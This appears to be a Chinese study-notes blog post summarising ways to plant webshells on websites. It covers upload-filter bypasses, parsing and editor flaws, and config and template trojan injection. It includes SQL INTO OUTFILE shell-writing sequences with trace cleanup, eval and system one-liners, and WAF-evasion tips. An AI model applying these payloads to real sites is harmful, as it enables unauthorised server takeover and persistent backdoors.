✨获取webshell主要分两大类:
一、cms获取webshell
二、非cms获取webshell
什么是CMS
CMS系统指的是内容管理系统。内容管理系统(CMS)是允许用户将内容直接发布到Web的接口。将内容页面直接添加到Web的过程比从本地计算机创建和上载页面提前一步,因为它允许大量人员远程添加和共享数据。
通俗来讲:CMS可以理解为CMS帮你把一个网站的程序部分的事全做完了;你要做的只是一个网站里面美工的部份
一、cms获取webshell
我们打开一个网站的时候利用wappalyzer插件可以看到网站的cms指纹信息
然后我们可以百度获取webshell方法,因为这些都是公开的
获取cms方法
进入后台之后可以查看
查看CMS系统
有可能直接显示
有可能会在最下方信息中显示
有可能要使用工具
御剑web指纹识别
谷歌浏览器的wappalyzer
二、非cms获取webshell
当网站没有用开源的cms,或者使用自己开发的cms,我们如何获取webshell呢?首先分两种情况有管理权限(登录后台)、和无管理权限(没有登录后台)。
有管理权限下
直接上传
网站对上传文件后缀格式并未过滤,直接上传WebShell即可
大概思路是,已知后台管理员账号和密码,找有上传节点的地方,写一个隐蔽或变形的木马上传,上传成功后,用菜刀或蚁剑连接。
添加后缀类型上传
注:为什么要写一个隐蔽或变形的木马呢?因为如果你用的常见的木马,只要一上传就会被管理员或WAF发现(常见的木马WAF都是有收集的,所以可以写完木马之后用D盾检查一下,被WAF检测出来的危险等级是多少)
2.数据库备份与恢复
把允许上传的格式的木马,备份或者恢复成木马格式
网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如 asp、php、jsp、aspx等。然后我们可以使用工具讲一句话木马插入图片中
而网站具有数据库备份功能,这时我们就可以将WebShell格式先改为允许上传的文件格式,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。
1)有些备份数据库的地方,限制了用户更改路径,那该怎么办?
F12打开开发者工具,修改文本框元素的value值为我们想要的路径或格式就可以完成修改
2)如果上传的格式被限制呢?该怎么办?
可以使用%00截断来绕过上传限制或使用BurpSuite 工具(%00截断、特殊名文件名绕过、文件名大小写绕过等等黑白名单绕过)之前讲过
3.本地js验证突破拿WebShell
当网站设置了js来限制用户上传的文件类型时,可以通过删除js验证或者修改上传类型突破上传拿WebShell。(这种方法之前讲过,印象很深,最近有一篇绕过IWRITE写作平台防复制粘贴内个功能就是利用的这个方法)
或者使用BurpSuite 或者是 Fiddle等代理工具提交,本地文件先更改为jpg,上传时拦截,再把文件扩展名更改为asp或者php即可
4、上传其它脚本类型拿WebShell
1)此类型用于一台服务器具有多个网站,a网站是asp的站,b可能是php的站,而a站中限制了上传文件类型为asp的文件,你可以尝试上传php的脚本,来拿Shell
2)你也可以尝试将脚本文件后缀名改为asa 或者在后面直接加个点(.)如"xx.asp." 来突破文件类型限制进行上传拿WebShell
这个思路还是头一次见噢,有用的思路增加了!
5、%00截断拿WebShell
很传统了不多说
截断上传
%00截断
特殊文件名
1)在上传文件的时候,你上传的文件名可能会被网站自动改成别的名字,这个时候你可以尝试抓取上传文件数据包,将文件名改为xx.asp%00.jpg进行截断上传,拿WebShell
6、利用解析漏洞拿WebShell
可以看中间件漏洞那个栏目 个人认为记住几个常见的就好了吧,一般都是会查一遍的,这大便宜不捡白不捡
1)IIS5.x / 6.0 解析漏洞
2)IIS 7.0 / IIS 7.5 / Nginx <8.03 畸形解析漏洞
3)Nginx < 8.03 空字节代码执行漏洞
畸形解析漏洞
4)Apache 解析漏洞
(由于Apache是从右到左开始判断解析的,如果不可识别解析,就再往左判断)
7、利用编辑器漏洞拿WebShell
同中间件
常见编辑器
fckeditor
ewebeditor
cheditor
8、网站配置插马拿WebShell
通过找到网站默认配置,将一句话插入到网站配置中,不过为了能够成功执行插马,建议先下载该站源码,进行查看源码过滤规则,以防插马失败。
PS:插马失败很有可能会导致网站被你写的一句话木马,没有闭合标签导致被网站被插废。
数据库配置文件插马也是相同的
往配置文件写入木马就可以了
不太清楚这个插废是啥情况,没遇到过,根据不同情况,编写不同代码,需要一定能力噢
9、通过编辑模块拿WebShell
1)通过对网站的模块进行编辑写入一句话,然后生成脚本文件拿WebShell
2)通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿WebShell
10、修改脚本直接拿WebShell
有的网站可以修改添加脚本文件,可以直接拿WebShell
11、SQL命令获取
这个算今天印象最深刻的了
可以通过phpmyadmin 登录数据库使用数据库命令来写如一句话拿WebShell
注:这个前提条件是需要有一定的数据库权限
大致步骤:
创建表
将一句话写入刚创建的表中
查询一句话所在表到文件,成功将一句话写入文件
具体操作
第一种
1 CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
2 INSERT INTO `mysql`.`best` (`best1` ) VALUES ('');
3 SELECT `best1` FROM `best` INTO OUTFILE 'd:/wamp/www/best.php';
4 DROP TABLE IF EXISTS `best`;
将一句话木马插入到mysql库best表best1字段
查询这个字段导出到网站的文件中
把痕迹清除
第二种方法
1 Create TABLE moon(best text NOT NULL);
2 Insert INTO moon(best)VALUES('');
3 selectbest from moon into outfile'd:/wamp/www/best2.php';
4、 Drop TABLE IF EXISTS moon;
第三种方法:
1、select''INTO OUTFILE'd:/wamp/www/best3.php'
优先推荐不但简单明了,而且避免了误删别人的数据!
第四种方法
1 select'\';system($_GET[\'cmd\']); echo \'\';
2 ?>'INTO OUTFILE'd:/wamp/www/best4.php'
12、上传特殊木马拿WebShell
一些网站安装了WAF 安全狗、360,我们可以通过上传一些免杀马,变形木马来进行突破封杀
例如:
"%><%eval request("Skull.")%><%'"
13、文件包含拿WebShell
先将WebShell 改为txt格式文件上传,然后上传一个脚本文件包含该txt格式文件,可绕过WAF拿WebShell
这种情况一般是,我们已经通过菜刀拿下了权限了,假设菜刀一句话木马可以过安全狗,但大马却怎么都没有上传成功,绕过安全狗
解决发现大马上传不了,被防火墙或者安全狗拦截时,可以考虑使用包含文件
思路
1)先上传一个含有包含代码(如)却没有攻击代码的文件,不会被狗拦
2)再将大马改成jpg图片文件上传,也不会被狗拦
3)访问第一次上传的包含函数的文件,会发现执行了木马
4)这里是因为包含函数包含的文件会被当成脚本文件,直接将文件内容插入到这个文件中
非管理权限(不登录后台)
1、SQL注入漏洞
有高权限 有绝对路径可以直接写
前提条件,具有足够权限,对写入木马的文件夹有写入权限,知道网站绝对路径
1.对于MsSQL 注入漏洞网站可以通过log 备份、差异备份拿WebShell
2.对于MySQL 注入漏洞的网站可以通过into outfile 函数(写入函数)将一句话木马写入,拿WebShell。要有file_priv权限
2. 知道文件绝对路径
3. 能使用union
4. 对web目录有读权限
注:若过滤了单引号,则可以将函数中的字符进行hex编码还有一个是into file 函数(读取函数)# into outfile 函数类似
之后3.利用phpmyadmin 将木马导出,拿WebShell
4.利用连接外连的数据库拿WebShell
2、修改网站上传类型配置来拿WebShell
某些网站,在网站上传类型中限制了上传脚本类型文件,我们可以去添加上传文件类型如添加asp | php | jsp | aspx | asa 后缀名来拿WebShell
3、xss和sql注入联合利用
有些输入框对一些符号过滤不严密(如<>,所以一般存在xss的地方就可以这么利用)我们可以在这里输入一句话之后再用数据库注入,查询到文件into file成功插入一句话木马
4、IIS写权限拿WebShell
有些网站的管理员在配置网站权限的时候疏忽,导致我们有写权限,这种漏洞需要用工具来利用,在这里就不说了,只是提一下。而且已经很少见了,有专门的利用工具(桂林老兵),原理是通过找到有IIS 写入权限的网站(开启WebDeV),PUT进去一个.txt 格式的文件,目录必须有刻写的权限,如 image 文件夹,然后通过move 方法,把txt 格式的木马用move 成脚本格式。
5、远程命令执行拿WebShell
在有php代码执行漏洞
例如一些框架漏洞的时候
可以通过执行一些系统命令进行拿WebShell
执行命令行命令“写入内容到文件"echo ?php "@eval($_POST['CE']);?>" > x.php 会自动将创建木马文件并将一句话木马写入其中,使用菜刀连接即可。
6、头像上传拿WebShell
大概思路:
1、将大马放在文件夹中
2、将文件夹压缩成压缩文件(zip)
3、正常上传一个头像并且抓包
4、将数据包中图片头像的内容部分删掉
5、重新写入文件内容,将压缩文件写入到原本图片的位置
上传
之后返回包中会告诉我们绝对路径
其他拿webshell方法
1、PhpMyadmin获取Webshell
2、Tomcat获取Webshell
3、Weblogic获取Webshell
4、JBoss获取Webshell
5.更新页面拿webshell
在网站模板中的404页面中插入一句话木马,之后找到这个页面的绝对路径,访问之即可拿Shell
6.上传插件拿webshell
将木马放入zip压缩文件中,最好是网站插件的压缩文件,之后再后台安装插件,选中含有木马的压缩文件,会自动将插件连通木马安装在网站目录下,接下来我们只需要寻找到木马的绝对路径即可
今天一天查了好多资料,这篇文章借鉴了以下的文章,有的年代久远有的刚更新不久,与其说借鉴,倒不如说是对这些文章的一个总结抄录,在这里由衷感谢各位安全大佬的无私分享!
获取webshell的一些总结 https://www.jianshu.com/p/4d37c160d009
拿WebShell 方法总结 原文链接:https://blog.csdn.net/God_XiangYu/article/details/99644596
http://gstarwd.iteye.com/blog/542376 dedecms获取Webshell总结
http://www.2cto.com/Article/201209/156909.html 浅谈MySQL导出一句话木马拿WebShell的方法